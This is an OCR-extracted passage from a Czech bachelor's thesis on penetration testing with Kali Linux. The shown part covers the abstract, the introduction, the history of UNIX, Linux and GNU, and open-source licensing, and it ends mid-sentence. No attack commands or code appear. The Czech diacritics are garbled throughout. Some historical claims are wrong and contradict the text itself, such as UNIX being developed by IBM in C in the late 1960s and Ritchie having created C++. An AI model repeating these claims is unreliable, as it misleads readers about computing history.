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Prace se zaméfi na populérni nastroje pro penetraéni testovani v distribuci
Kali linux. Student poplie funkcionalitu zakladnich nastrojd (Wireshark,
Nmap, Aircrack, Johny the Ripper) a otestuje je na praktickych piikladech.



Abstrakt

Bakalarska prace se zaméfuje na problematiku textové orientovanych operacnich systémd,
principy open-source softwaru a moZnosti penetracniho testovani s vyuzitim distribuce Kali
Linux. Teoretickd Cast popisuje vyvoj systémd UNIX a GNU/Linux, jejich vzajemné rozdily
a souvisejici licencni podminky. Dale popisuje vlastnosti Kali Linux a analyzuje vybrané néstroje.
Nastroje jsou Wireshark, Bettercap, Nmap, Aircrack-ng, John the Ripper, Burp Suite, OWASP
ZAP a SQLMap. Nasledujici analyzy vybranych technik zahrnuji diagnostiku sité, MITM utoky,
skenovani portll a sluzeb, bezdratové atoky, prolomeni hesla, skenovani webU
a utoky na webové aplikace. V praktické ¢asti se testuji jednotlivé nastroje na konkrétni
techniky, hodnoti ziskand data a analyzuje vyuZiti nastrojl pti odhalovani zranitelnosti. Cilem
prace je vyhodnotit vyuziti poskytovanych nastroji v Kali Linux pfi konkrétnich scénaftich
a zaroven dokazat jeho efektivni vyuziti.
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Abstract

The bachelor’s thesis focuses on text-based operating systems, the principles of open-source
software, and the possibilities of penetration testing using the Kali Linux distribution. The
theoretical part describes the development of UNIX and GNU/Linux systems, their differences,
and the related licensing conditions. It also outlines the characteristics of Kali Linux and
analyzes selected tools, including Wireshark, Bettercap, Nmap, Aircrack-ng, John the Ripper,
Burp Suite, OWASP ZAP and SQLMap. The following analyses of selected techniques include
network diagnostics, MITM attacks, port and service scanning, wireless attacks, password
cracking, web scanning, and attacks on web applications. In the practical part, the individual
tools are tested on specific techniques, the collected data are evaluated, and the use of the
tools in identifying vulnerabilities is analyzed. The aim of the thesis
is to evaluate the use of the tools provided in Kali Linux in specific scenarios and
to demonstrate their effective use.
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Uvod

Dnesni doba je dobou informacnich technologii. MnoZstvi pocitacovych systémda, siti
a programl se exponencidlné zvySuje, jak v domaci, tak i ve firemni sféfe, a tak se
exponencialné zvysuji i moinosti kyberzloginch proniknout do systému. Sikovni hackefi mohou
mimo jiné ukrast data, zasifrovat data Ci vsadit do systému Skodlivy kéd. Spolu se zvySujicimi
se pocty prvkd informacnich technologii narlistd i jejich zranitelnost, narlistd i pocet
kyberzloc¢incl a narlstad i uroven kybernetické bezpeénosti. Obecné plati, Ze ¢im vice mame
v systému instalovanych sluzeb ¢i program( tak je systém vice zranitelnéjsi viici utoklm.

Za pozornost také stoji fakt, Ze v dnesni dobé probihaji Skoleni o kybernetické bezpecnosti na
urovni obycejnych zaméstnancl pracujici s pocitaci. Jak se napfiklad zachovat pfi pfijeti
podezfelého emailu, co? je$té pred par lety bylo tabu. Skoleni zaméstnancli mimo jiné svéd¢i
i 0o dopadu kybernetické bezpecénosti v soucasné dobé.

Penetracni testovani simuluje Gtoky na pocitacové systémy, cilem penetracniho testovani je
odhalit zranitelnost systému a tak jej v predstihu ochranit pred nezadoucimi uUtoky. Tester se
snazi proniknout do systému stejnymi technikami, které pouzZivaji hackefi. Vysledky
zranitelnosti systému mohou byt rlGzné od neaktudlniho software, slaba hesla ¢i chybné
konfiguraci v siti. V SirSim kontextu je penetracni testovani metoda kybernetické bezpecnosti
a je praktickou a nejdUlezitéjsi soucasti bezpecnostniho auditu.

Distribuce Linuxu zvana Kali Linux, dfive Backtrack, obsahuje znacny pocet nastroju a je
specidlné vyvinutd pro penetracni testovani. Kali Linux je distribuce odvozend od Debianu.
Hlavnimi konkurenty jsou napfiklad Parrot OS (Debian) ¢i BlackArch (Arch Linux). Mezi nejvétsi
vyhody zminovanych distribuci jsou jiz nainstalované nastroje pro penetracni testovani, ¢imz
tvori balik nastroji vSe v jednom. V ostatnich Linuxovych distribuci instalované nejsou a je
potieba je doinstalovat. Zavérecnd prace se bude vénovat nastroji a techniky pro penetracni
testovani pomoci linuxové distribuce Kali Linux.

Cilem bakalarské prace je, véetné predstaveni distribuce Kali Linux, popsat nastroje uréené pro
penetracni testovani a techniky moznych uatok(. V kratkosti se bude vénovat i teorii
penetracniho testovani. V praktické ¢asti se ndstroje i techniky pro penetraéni testovani
prevedou do praxe a vysledky se zdokumentuji véetné popisli pfesnych postupu.
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1 Teoreticka c¢ast

Teoretickd Cast se zaméfi na vyvoj a historii textové orientovanych operacnich systémd,
nebude zde rozebirdna historie operacnich systémi s grafickym uZivatelskym rozhranim.
Vysvétli pojmy a rozdily mezi open-source a svobodnym software. Vysvétli licencovani open-
source projekt. Dale se bude se vénovat distribuci Kali Linux a jeho nastroji a techniky pro
penetracni testovani.

Operacni systém je zodpovédny za spravu vsech prostiedk( pocitacového systému, jako jsou
disky, paméti, kldvesnice ¢i mys ale i software (Typy operacnich systéma a jejich Uplna historie,
2021). Operacni systém je software komunikujici s hardwarem i softwarem pocitace a samotny
provoz operacniho systému je fizen uzZivatelem. Nékteré procesy jsou automaticky fizené
operacnim systémem samotnym a béZi na pozadi operacniho systému bez zasahu uZivatele.
Dale umoznuje spoustét dalsi aplikace, pridélovat a odebirat systémové prostiedky proceslim,
spoustét programy a mnohem vice. Zakladnim funkci operac¢niho systému je jadro, coZ
je zakladni program OS. Poskytuje zdakladni Uroven kontroly nad kazdym hardwarovym
zafizenim a je jakymsi prostfednikem mezi OS a hardwarem, k tomu vsak potfebuje ovladace.
Mezi hlavni funkce jadra patfi sprava procesoru, ¢teni a zapis dat z paméti, zpracovani prikaz(,
funkénost monitoru, klavesnice ¢i mysi. Dalsi nedilnou soucasti OS jsou ovladace, které zajistuji
komunikaci mezi hardwarem a operacnim systémem. Dale OS obsahuje API, rozhrani pro
programovani aplikaci, a grafické rozhrani, Cili vykreslovani grafickych prvk( (Typy operacnich
systém a jejich Uplna historie, 2021).

V minulosti fungovali operacni systémy vyhradné pres prikazové radky CLI (Command Line
Interface). UZivatel zada do prikazové radky prikaz, na jehoz zadkladé operacni systém prikaz
provede a pfipadné doda uZivateli odpovéd. Grafické uzivatelské rozhrani, GUI (Graphical User
Interface) je moderni grafickd nadstavba operacnich systéma. Je mnohem vice user-friendly
nez CLI a funguje napfiklad na zakladé oken, které zname z OS Windows.

1.1 Historie textové orientovanych operacnich systémua

Prvni sadlové pocitate, mainframe, byli bez opera¢niho systému. Kazdy program vloZeny
do salovych pocitach musel obsahovat nezbytné kody ke spusténi pocitace, kddy pro
komunikaci s pripojenym hardwarem (ovladade) a samotny program, ktery mél pocitac
provést. | nejjednodussi program byl sdm o sobé velmi slozity a musel byt naprosto bezchybny.
Casto programatofi museli zaddvat programy dokonce i v binarni soustavé. Pozdéji se preslo
na knihovny pomocného kédu ulozené na dérnych Stitcich a magnetickych pdskach, které byli
spojeny s programem, aby pomohli pti vstupnich a vystupnich operacich, do té doby bylo
nutné rucné Fidit vstup i vystup programu rucné (Historie operacnich systém(, 2012).
Za prukopnika se zajisténim spravy vstupu i vystupu programu lze povazovat GM-NAA I/O
od General Motors, z roku 1956, uréeny pro IBM 704, coz byl prvni operacni systém vibec.
Zacal se tak vyvijet systémovy software, ktery usnadrnoval psani a spousténi programd,
programatofi se tak mohli soustfedit Cisté na sv(j samotny program. V 60. letech minulého
stoleti byla firma IBM prvnim vyvojafem operacnich systém(, které byli soucasti jejich
pocitacd. BohuZel vsak pfimo na konkrétni typ pocitacll, protoZe systém byl napevno spjat
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s hardwarem. Kazdy pocita¢ mél jiny operacni systém. Rozdilnosti v systémech ukoncil az
operacni systém 0S/360 od IBM na zac¢atku 60. let minulého stoleti, ktery mohl bézet na
rGznych strojich té doby. Pozdéji zacali pocitace obsahovat stale vice a vice runtime knihoven
(softwarovych programi), které se spojili pfi startu pocitace a byli zakladem pro dnesni
operacni systémy. Zaroven tak tvofili zdkladni programové vybaveni pocitace. Na konci 60. let
minulého stoleti byla zdarma v programovacim jazyce C vyvinuta firmou IBM prvni verze
operacniho systému UNIX. Mnoho modernich OS jako Apple OS &i vSechny verze Linuxu jsou
zaloZena na OS UNIX.

1.1.1 Historie a vyvoj operacnich systémi UNIX

Prvni operacni systémy byli dodavany velkym salovym pocitaclim (mainframe). Technologicky
giganti té doby zacali vyvijeli své operacni systémy. IBM vytvofil prvni operacni systém, ktery
v omezené mife podporoval multitasking (MFT). Multitasking znamena béh vice programl
najednou, coz bylo do té doby naprosto nemyslitelné. Dalsi operacni systém, ktery lze oznacit
za prilomovy byl Multics (Multiplexed Information and Computing Service). Multics byl vyvijen
od roku 1964 a jeho zékladni myslenka byla dodavka vypocetniho vykonu pocitacim podobné
jako treba dodavky elektfiny, plynu ¢i vody (Historie operacnich systémda, 2012). Na jeho vyvoji
se podileli Bell Labs, General Motors i MIT a byl nasazen zejména také na salové pocitace.
Multics znamenal pro své vyvojare zejména nekonecny a slozity vyvoj avsak nové myslenky
pouzité v tomto OS inspirovali vyvojare k vytvoreni OS UNIX (Uniplexed Information and
Computing Service). UNIX vznikl v roce 1969 a je zakladem pro Linux i MacOS. UNIX vytvorila
telekomunikacni spolecnost AT&T ve své vyzkumné divizi Bell Labs. Za zminku rovnéZ stoji
autori UNIXU — Ken Thompson, ktery dfive pracoval na projektu Multics, a Dennis Ritchie, ktery
je zaroven tvlircem programovaciho jazyka C (pozdéji i C++), do kterého byl UNIX od roku 1973
prepsan a mohl se tak dostat na nejriznéjsi platformy. Pivodné se jmenoval UNICS, coZ
je ironicky nazev na nazev Multics. Pozdéji se vsak jeho ndzev ustalil na UNIX. Multics byl
mimochodem mnohem sloZitéjSi systém oproti UNIXU. Zmiovany OS polozil zaklady
modernich operacnich systém(. Mezi jeho hlavni prednosti patfi zejména multitasking
a multiuser (systém dostupny vice uZivatellm zaroven), hierarchicky souborovy systém
(adresare usporadané do stromové struktury), rovnéz je snadno prenositelny a je snadno
portovan na rGzné pocitace. Mezi jeho dalsi vyhody patii jednoduchost a nezavislost
na jakémkoliv hardware. Zminovany systém je dnes, i po tolika letech, stile jeden
z nejpouzivanéjsich zejména predevsim diky svému zakladu. Zaklad je vSude stejny, at se jednd
o Linux, BSD, Minix, AIX, MacQS, Solaris a dalsi. Je viceméné také dalezité zminit, ze AT&T kvali
antimonopolnim omezenim nemohl UNIX do roku 1983 komercéné proddvat, a tak jej poskytl
univerzitdm. Takto se dostal UNIX na Berkeley, kde ho upravili a vytvofili tak BSD (Berkeley
Software Distribution), vlastni verzi systému s novymi funkcemi jako TCP/IP a virtudlni paméti.
Od roku 1983 se UNIX proddval komeréné pod ndzvem System V. Za pozornost jisté jesté stoji
operacni systém VMS od firmy DEC (z roku 1978), ktery mél na svou dobu pomérné moderni
32 bitovou architekturu a podporoval multitasking (Historie operacnich systém, 2012).

1.1.2 Historie a vyvoj jadra Linux

V roce 1969 byl uveden na trh operacni systém UNIX, podporoval multitasking a bylo rovnéz
mozné vyuzivat jeden systém vice uZivateli zaroven (multi-user operating system). Jedina
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nevyhoda systému byla, Ze byl vyddvan pod placenou licenci. V roce 1991 dostal Linus
Torvalds, tehdy 21lety student univerzity v Helsinkdach ve Finsku, napad pracovat na vyvoji
vlastniho unixového jadra. Ve skole se dostal do styku s operacnim systémem Minix, coz
je odlehcend verze UNIXU, kterou si ihned pofidil a velmi si Minix oblibil. Pozdé&ji ale zjistil,
Ze mu nestaci, chtél vyuzivat UNIX naplno. Minix byl pfili$ jednoduchy a bez mozZnosti ziskat
zdrojové kddy. Protoze byl studentem vysoké Skoly a nemél penize na koupi licence UNIXU,
rozhodl se tak vytvofit si vlastni jddro operaéniho systému inspirované UNIXEM a které by bylo
zaroven provozovatelé i na bézném pocitaci. Do online diskuzni skupiny Usenet napsal Linus
zpravu, ve které oznamil vyvoj vlastniho jaddra operacéniho systému a okamzité si jeho myslenka
nasla mnoho pfiznivcd, ktefi zacali na jeho vyvoji spolupracovat. Vyvoj jadra se rozrostl
do obfich rozméra a vznikl tak Linux. Jadro Linux ve svych novéjsich formach je komunitni dilo,
Linus vytvofil prvni verze jaddra. Nazev Linux dostalo jadro podle jména Linus. Nazev rovnéz
znamena zkratku Linux Is Not UniX, v pfekladu Linux neni UNIX (Historie operacniho systému
GNU/Linux, 2025). Zkratka rovnéZ odrazi pravdu o Linuxu, protoze Linux opravdu neni UNIX
systém, ale pouze Unix-like systém, systém podobny UNIXU. Cely zdrojovy kéd UNIXU byl
pfepsan, ani jeden fadek zdrojového kdédu nepochdzi z origindlniho  UNIXU.
Linux neni puvodni certifikovany UNIX, ale chova se stejné a vychazi z jeho principud. V roce
1992 zacal vydavat nové verze jadra Linus pod projektem GNU a svobodnou licenci GNU GPL,
¢imz vznikl operacni systém GNU/Linux.

Y

Obr. 1: Linus Torvalds a Tux, maskot jadra Linux

Zdroj: Historie operacniho systému GNU/Linux (2025)

1.1.3 Historie a vyvoj operacniho systému GNU

V roce 1983 pfisel Richard Matthew Stallman s ndpadem nového svobodného operacniho
systému unixového typu, ktery by mohl kazdy vyuzivat, studovat, upravovat a dale Sifit. ZaloZil
projekt svobodného operacniho systému GNU. Jeho hlavni myslenka byla, Ze operacni systém
bude slozen jen a pouze ze svobodného software. Proto sepsal Stallman licenci GNU GPL, pod
kterou jsou Sifeny vSechny ¢asti systému GNU. GNU GPL je specidlni druh licence, ktery
zarucuje, Ze programy a jejich dalsi verze zlstanou oteviené a dostupné pod opét pouze pod
stejnou licenci. BEhem deseti let byl operacni systém projektu GNU naprosto pouzitelny
a zaroven plné kompatibilni s UNIX systémy. Obsahoval fadu nastrojd, systémové knihovny
a aplikace, které zname z rlznych distribuci GNU/Linux, napfiklad pfeklada¢ GCC, textové
editory a dalsi. Chybélo vsak jadro, které by zajistilo béh systému a komunikaci s hardwarem.
GNU sam o sobé obsahoval pouze nastroje pro obsluhu operacniho systému bez jadra

17



Vysoka skola polytechnicka Jihlava

systému. Proto byl zahajen v roce 1990 vyvoj jadra Hurd, jez v soucasné dobé stale neni
dokoncéen. ProtoZze byl vSak wvyvoj jadra Linux mnohem rychlejsi, Uspé$néjsi a mél
i vétsi pocet pfriznivcli, nez vyvoj jadra Hurd, doslo ke spolecnému pouZzivani operacniho
systému GNU s jadrem Linux. Cimz vznikl pIny nazev operaéniho systému jako celku i s jadrem
GNU/Linux. UZivatelé vSak Casto systém oslovuji pouze Linux. CoZ je nevdécné vici operacnimu
systému projektu GNU, ktery obsahuje vSechny nastroje, bez kterych se neda jadro Linux
ovladat. GNU je vsak plné kompatibilni i s jinymi unixovymi jaddry naptiklad Minix, Hurd, BSD
a dalsi. GNU i Linux jsou dva na sobé nezdvislé projekty, spolu tvofi vSak silnou
a nejpouzivanéjsi dvojici ve svété svobodného software. Kompletni operacni systém vsak tvori
pouze a jediné jednotlivé distribuce GNU/Linux, jsou kombinaci Jadra Linux, operacniho
systému GNU a dalSich projektli, program( a nastrojl. Nikdy tak nepracujeme pouze
s GNU/Linux ale i dal$imi nastroji v kompletni linuxové distribuci (Historie operacniho systému
GNU/Linux, 2025). Kompletni konkrétni operacni systémy jako celky vychazeji jako distribuce.
Maji rlizna graficka prostredi, balickovaci systémy, aplikace ¢i nasazeni (domaci desktop,
enterprise prostredi, servery). Mezi nejznaméjsi rodiny linuxovych distribuci patfi Debian,
RHEL, ArchLinux a dalsi, distribuci je cela fada a vétsSina z nich se odviji od zakladni distribuce
(napriklad LinuxMint, KaliLinux ¢i Ubuntu jsou linuxové distribuce z rodiny Debian. AlmalLinux,
CentOS ¢i Fedora jsou linuxové distribuce z rodiny Red Hat). Linus Torvalds se nadale vénuje
vyvoji a jako hlavni sprdvce ma stale rozhodovaci prava v otazkach kolem projektu Linux
Kernel. Slovo Kernel je anglicky ndzev pro jadro systému. Richard Matthew Stallman se vénuje
obhajobé svobodného software a praci pro projekt GNU, vyviji také zndmy textovy editor
emacs (Historie operacniho systému GNU/Linux, 2025).

Oba projekty maji své rizné maskoty, GNU je anglickym nazvem pro pakoné a ma maskota
pakoné Heckerta. GNU je rekurzivni zkratka slov GNU's Not UNIX. Maskotem Linuxu
je tuénak s ndzvem Tux, coz je opét zkratka slov Torvalds UniX a zaroven zkrdcené tuxedo,
neboli anglicky nazev pro frak.

Obr. 2: Richard Matthew Stallman a Heckert, maskot operacniho systému GNU
Zdroj: Historie operacniho systému GNU/Linux (2025)

1.1.4 Rozdily mezi operaénimi systémy UNIX a GNU/Linux

Nejvétsi a nejznatelnéjsi rozdil mezi zminénymi operacnimi systémy je bezesporu v licencovani.
UNIX je proprietarni operacni systém s chranénou znackou, nékteré jeho verze maji zdrojovy
kdd uzavreny a jeho licence je placena. Proprietarni znamena, Ze patii konkrétnimu vlastnikovi
a je chranén jeho autorskymi nebo licenénimi pravy. Oproti tomu GNU/Linux je naprosto
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svobodny open-source systém pod licenci GNU GPL a je zdarma. Zdrojové kody jadra Linux jsou
sepsany od nuly, nemaji s UNIXEM Zzadné spolec¢né kddy. Linux je pouze prepsanou presnou
napodobeninou UNIXU, tzv. Unix-like systém.

Systémy UNIX jsou certifikované standardem POSIX. GNU/Linux sice certifikované standardem
POSIX nejsou, jsou s nim ale plné kompatibilni. UNIX existuje v nékolika komer¢nich variantach,
napfiklad AIX, HP-UX ¢i Solaris. GNU/Linux existuje ve stovkach nekomercnich distribucich diky
licenci GNU GPL. GNU GPL licence znamen3, Ze distribuce lze volné stahnout, upravit a nasdilet
(ma otevreny zdrojovy kdd). UNIX byl vyvijen firmami, zatimco GNU/Linux se vyviji komunitné.
Z hlediska vyuziti je UNIX vyuzivdn nejvice v korporatnim prostfedi napfiklad bankami,
pojistovnami ¢i telekomunikacemi. GNU/Linux se vyuziva zejména na serverech ¢i v mobilnich
pfistrojich. GNU/Linux je mnohem otevrenéjsi a flexibilngjsi nez tradicni UNIX (Microsoft
Copilot: vas Al pomocnik, 2025).

Dale je moZné rozebrat technické rozdily, které jsou mezi zminénymi operacnimi systémy jiz
mensi, avsak znatelné. Patfi mezi né napfiklad souborové systémy obou systémi, zatimco
UNIX pouzival mensi mnoZstvi souborovych systému jako jsou UFS (UNIX File System) nebo
jeho varianty FFS ¢i BSD a casto zdviseli na konkrétni varianté UNIXU (naptiklad Solaris mél ZFS
nebo AIX pouzival JFS). GNU/Linux podporuje celou fadu souborovych systému, napfiklad ext2,
3, 4, XFS, Btrfs, ZFS a mnoho dalSich, které si mlze uZivatel vybrat pfi instalaci. Souborové
systémy nejsou kompatibilni mezi obéma zminénymi operacnimi systémy. UNIX opét nema
jednotny standart adresarové struktury (je rlzny podle jednotlivé varianté UNIXU), zatimco
GNU/Linux ma adresarovou strukturu podle standartu FHS, coZ znamena, Ze jeho adresarové
struktury jsou stejné v kazdé distribuci. Zaklad je stejny a zac¢ina kofenem. Prikazy v shellu jsou
si opét velmi podobné avsak opét rozdilné. Linux pouZivda jednotné moderni GNU nastroje,
zatimco systémy UNIX jsou opét rozdilné podle jednotlivé varianté systému a drZi si vlastni
specifické prikazy. Zakladni pfikazy jsou vSak stejné. UNIX vyuziva zdkladni POSIX shell sh,
Bourne Shell. GNU/Linux pouziva rozsifeny GNU shell bash, Bourne Again Shell, ktery ma vice
funkci a je kompatibilni s UNIX shellem sh (Microsoft Copilot: vas Al pomocnik, 2025).

Rozdili mezi operaénim systémem UNIX a operacnim systémem GNU/Linux je cela fada.
AZ na par vétSich rozdilnych vlastnosti jsou dalsi, zejména technické rozdily, spisSe
zanedbatelné. Oba systémy si jsou velice podobné. GNU/Linux je viceméné stejny pro vsechny
své odvozené distribuce. Unixové operacni systémy si jsou mezi sebou také velice podobné,
avsak rozdilné, zalezi na jednotlivé varianté systému.

1.2 Open source, licencovani a svobodny software

V dalsi kapitole bakalarské prace se stru¢né objasni pojmy Open-source (otevieny versus
uzavreny zdrojovy kéd) a svobodny software. Protoze GNU/Linux je open-source je dulezité
pojem vysvétlit. Distribuce GNU/Linux mohou vsak obsahovat i proprietarni software tretich
stran s uzavienym zdrojovym kddem. Distribuci je tak mozné upravit a sdilet ddle, ale jiz
se musi vedle licence GNU GPL uvést i licence konkrétniho proprietdrniho software.
V bakalarské préci se jiz uvedlo, Ze samotnd linuxova distribuce netvofi pouze operacni systém
GNU a jadro Linux ale i dalsi projekty ¢i software. Dokonce jsou k dispozici ke stazeni distribuce
Linuxu obsahujici pouze svobodny software nebo distribuce Linuxu obsahujici i software tfetich
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stran. Mimo jiné ¢asto u béZnych uZivateld dochazi k mateni pojm{ open-source a svobodny
software, jedna se o dva rlizné terminy.

1.2.1 Open source

Slova open-source (v prekladu otevieny zdroj) znamenaji, Ze je k dispozici otevieny zdrojovy
kéd software, operacniho systému, programu ¢i webové stranky a podobné. Zdrojovy kdd
je kod, se kterym mohou pocitaCovi programatofi manipulovat, aby zménili zplQsob, jakym
software funguje. V béiné praxi je napfiklad mozné na libovolnych webovych strankach
zobrazit zdrojovy kod stranky, kazdd webova strdnka ma k dispozici zdrojovy kéd. Zobrazenim
zdrojového kddu webové stranky Ize nejsnaze béznému uzivateli pfibliZit pojem zdrojovy kdd.
Kéd lze z webové stranky zkopirovat, upravit, vloZit do néj par radkl a znovu jej vystavit
na web pod jinou doménou. Zdrojové kédy jsou v podstaté radky textu sestavujici software.
Podstatou open-source je hlavné svoboda, svobodné do kédu nahlédnout, kdd upravit, rozsifit,
opravit chybu, zkontrolovat kéd, pridat funkci, prepracovat ¢ast kédu a sdilet jej dale pro
komercéni i nekomercni ucely. Je naprosto transparentni a vefejny, kazdy muzZe pfispét.
Dokonce vznikli i online repozitafe pro Upravu a opétovné nahrani kédu zpét do repozitare,
nejzndméjsi online repozitar je Github.

Na pocatku tzv. hnuti svobodného software stal Richard Matthew Stallman z projektu GNU,
hnuti bylo zdkladem pro pojem open-source. Jeho vize byla programy svobodné vyvijet.
Uz tehdy (v 80. letech) Stallman fikal, Ze svoboda neni zadarmo, open-source neznamena
nutné zdarma (Co je open source: kompletni prlivodce s historii, licencemi a vyuZitim, 2025).
Jednd se o komunitni dilo, programy nevznikaji v korporatnich studiich ale
na rdznych cloudech, vefejnych ulozZistich ¢i online repozitafich, kde kaidy uZivatel
(¢i pokud ma-li uzivatel k tomu dostatecné opravnéni) ma mozZnost kéd upravit. Github
je online repozitar s pracovnimi postupy zalozenymi na Git neboli na verzovani daného kodu
(What is Open Source Software (0SS)?, 2024). Komunitni uZivatelé jsou nejen schopni kod
upravit a vytvofit tak dalsi verzi ale mohou jej i v zavislosti na licenci ddle Sifit. Veskera prace
je provadéna verejné v online repozitafi, kde jej mlze kdokoliv editovat. Na vyvoji se podili
vyvojafi z celého svéta. Vyvojafi do open-source projektl casto investuji svlj volny cas bez
naroku na odménu, jsou pouze dobrovolnymi ptispévateli. Vysledny produkt ve vétsiné
pfipadl nebude komeréné vydavany a navic je mozné jej dale 3ifit, dle licence samoziejmé
nebo pravidel pro ucast na projektu. Nekomercnost ale neni pravidlem, autofi open-source
projektd mohou za své dilo poZadovat penize. Problém vsak nastava v pripadé, kdy open-
source licence vyzaduje, aby byl pfi prodeji zvefejnén i zdrojovy kéd. Nékteri programatofi tak
zjistili, Ze daleko vyhodnéjsi je uctovat uzZivatellm penize za sluzby a podporu open-source
softwaru, neZ za samotny software. Jejich software tak zlstadvad zdarma a penize vydélavaji
podporou, certifikacemi nebo jinymi sluzbami. Spolecnost Red Hat a linuxova distribuce Red
Hat Enterprise Linux (RHEL) je toho krasnym prikladem (Co je open source: kompletni
privodce s historii, licencemi a vyuzitim, 2025). Open-source projekty se také tési vysoké
spolehlivosti a bezpecnosti. Nejvétsi nevyhodou mensich open-source projektl je casova
narocnost, vyvojafi prece jen s vyslednym produktem nespéchaiji, oficialni datum vydani ¢asto
k dispozici neni a také se mlze stat, Ze projekt upadne v zapomnéni, zlistane ve verzi beta
nebo se jiz neudrzuje a nedokonci se. Pfece jen zdlezi na komunité a odhodlani jednotlivych
¢lent komunity. Open-source software je také bez zaruky nebo ochranou odpovédnosti.
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Vyhody jsou hlavné nizké naklady, rychlost aktualizaci oproti proprietarnimu software
a transparentnost. Pfikladd je celd rada, naptiklad Linux, Mozilla Firefox, VLC pfehravac, Ruby
on Rails, Bash, Kubernetes, Blockchain, jQuery, Node.js a mnoho dalSich. Ackoliv si mnohdy ani
neuvédomujeme na pocatku pocitacové historie (hlavné znacnou ¢ast internetu), byli projekty
vytvofené prdvé na open-source technologiich, mnohé z nich pouzivame dodnes, pfikladem
mUzZe byt webova aplikace Apache nebo nékteré cloudové sluzby. V podstaté kazdy kdo nyni
vyuZiva internet téZi i z open-source software (Co je open source: kompletni privodce
s historii, licencemi a vyuzitim, 2025).

Na druhé strané existuje software s uzavienym zdrojovym kdédem, kde korporace ¢i mensi
firmy musi zaplatit programatory (mimo jiné) a tak je jejich produkt komercéné vydavan. Coz je
také dlavod k uzavieni zdrojového kédu, aby firma nepfiSla o penize. Pokud se odbodi
od tématu a vezme se napfriklad v dvahu kolik penéz stoji vytvoreni pocitacové hry, je nemozné
ji vydat s otevienym zdrojovym kdédem. Jedna se o tzv. proprietarni software neboli software
chranény autorskymi ¢i licenénimi pravy a upravovat kéd mohou pouze jeho autofi. Mezi
nejvétsi vyhody oproti open-source je rychlost tvorby projektu, v drtivé vétsiné se projekty
dokonéi a ozndmeno je i datum vydani. Mezi ptiklady uzavieného zdrojového kdédu patii
napriklad Microsoft Office, Adobe Photoshop nebo MacOS, pfikladll je opét mnoho. Produkty
open-source jsou vsak ¢asto spolehlivéjsi ale jsou vykoupeny delSim ¢asem vyvoje. S ndstupem
modernich platforem typu Github i velké korporace zacali podporovat komunitni projekty
a prispivaji nejen finanéné ale i kédem. Spoluprace open-source komunit s velkymi
korporacemi je ¢im dal castéjsi, pfikladem muizZe byt Kubernetes, open-source projekt, ktery
se stal standardem pro orchestraci kontejner.

Open-source je tedy vyvijen komunitné, zatimco proprietdrni software pouze jeho autory.
Stejné rozdilné jsou i licence v pouZzivani softwaru. Proprietarni software vymezuje podminky,
které omezuji jeho Upravy nebo distribuci. Open-source umoziuji pouzivani, Upravy a sdileni
software se specifickymi podminkami pro kazdy typ.

1.2.2 Softwarové licence

Pfi vyuZivani kazdého software se musi souhlasit s licenénimi a pravnimi podminkami.
Podminky jsou dané autory a musi se respektovat. Licen¢ni podminky vSeobecné jsou rovnéz
chranény zdkonem a jejich poruseni je trestné. Licencovani software Ize rozdélit na dva hlavni
proudy, proprietarni a open-source. Existuji vSak i software s dvoji licenci, napfiklad ERP
podnikové systémy mohou obsahovat databdze s licenci GNU GPL a dopliiky s proprietarni
licenci (Co je open source: kompletni privodce s historii, licencemi a vyuZitim, 2025). Dnes lze
nalézt komponenty Open-source ve vétSiné komercénich software. Proprietarni software
zahrnuje ve vétsSiné pfipadech software s uzavienym zdrojovym kédem a vyslovené mnohé
zakazuji v€etné pripadnych uUprav, distribuci kddu ¢i Sifeni ¢asti samotného programu. Licence
proprietarniho softwaru se viceméné vymezuje pouze na jeho pouzivani. Open-source licence
naopak umoznuji Upravy a sdileni. Open-source Initiative (OSl) je neziskova organizace, kterd
dohlizi na projekt Open-source a spravuje Open-source licence. Pokud se vyvojaf rozhodne
napriklad pro projekt ve verfejném repozitafi jako je Github, musi si vybrat
a deklarovat Open-source licenci s definici otevieného zdrojového kédu, kde musi byt jasné
vymezenad prava a povinnosti tykajici se uzivani, dprav a distribuce.
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Kéd je obvykle dodavan s licenci. Licence definuje, co uzivatel mize a nemuze se softwarem
provadét. Nékteré licence umoziuji pouzivat a distribuovat kdéd pro jakykoli ucel, zatimco jiné
vyZaduji zaznamendvani vSech zmén. Dalsi licence mohou stanovit, Ze kopie zdrojového kédu
jsou zdarma a jsou k dispozici pro verejné pouziti. Copyright je autorské pravo v jehoz ramci
mUlZe autor omezit pouZiti dila. Richard Stallman pfi vytvareni licence GNU GPL pfrisel
s terminem Copyleft. Copyleft neni opakem copyrightu. Copyleft znamend, Ze upraveny
software se musi vydat pod stejnou licenci (What is Open Source Software (0SS)?, 2024).
Licenci jsou stovky. Mezi dnesni, nejoblibenéjsi a zaroven nejbézné;jsi Open-source licence patfi
(tabulka je vsak spise ukazkova s par priklady pro pochopeni, open-source licenci je skutecné
mnoho):

Tab. 1: Pfehled vybranych open-source licenci

Licence Typ Charakteristika

Kod Ize upravit a distribuovat, Ize jej vyuzit v
komerénich produktech, musi vSak zachovat
MIT Tolerantni | autorska prava (copyright) a kopii samotné
licence. Minimalni omezeni. Nejtolerantnéjsi a
nejrozsifenéjsi svobodna licence.

Charakteristika je podobna jako MIT licence,

Apache 2.0 Tolerantni | vyZaduje vSak zaznamendni viech zmén a fesi
patenty.
, | Podobna licence jako MIT. Je vSak volnéjsi, musi
BSD Tolerantni L, .
se pouze zachovat autorska prava (copyright).
Lesser GPL. Uréeno pro knihovny, umoziiuje
GNU LGPL LGPL propojeni i s komercnimi aplikacemi. Upravena

knihovna musi byt zachovéna pod LGPL licenci.

Zdrojovy kéd musi byt dostupny a verejny.
Odvozena dila musi byt vydavana pod stejnou
GNU GPL v2 Copyleft licenci a za stejnych podminek. Software lze
prodat, kupujici si ponechava svobodu.
Pfedchozi autofi musi byt uvedeni.

Podobné jako GPLv2. Navic viak fesi patenty a je
GNUGPLV3 | Copyleft | kompatibilni s Apache 2.0. Zdrojovy kéd nemusi
byt zpfistupnén verejnosti.

. Neomezené pouZiti, Upravy a marketing. Autofi
Public Vefejna P bravy X

Domain/CC0 | gomena se vzdavaji prav nebo se jejich dilo stalo volnou

doménou.
Zdroj: Microsoft Copilot: vds Al pomocnik (2025)

1.2.3 Svobodny software

Pokud se zminuje pojem open-source software, je nutné zminit i pojem svobodny software.
Lidé si ¢asto oba dva pojmy pletou a mysli si o nich, Ze se jedna o stejnou véc Ci je omylem
zaménuji. V podstaté se neni ¢emu divit, oba terminy oznacuji témér stejné a rozdilné jsou jen
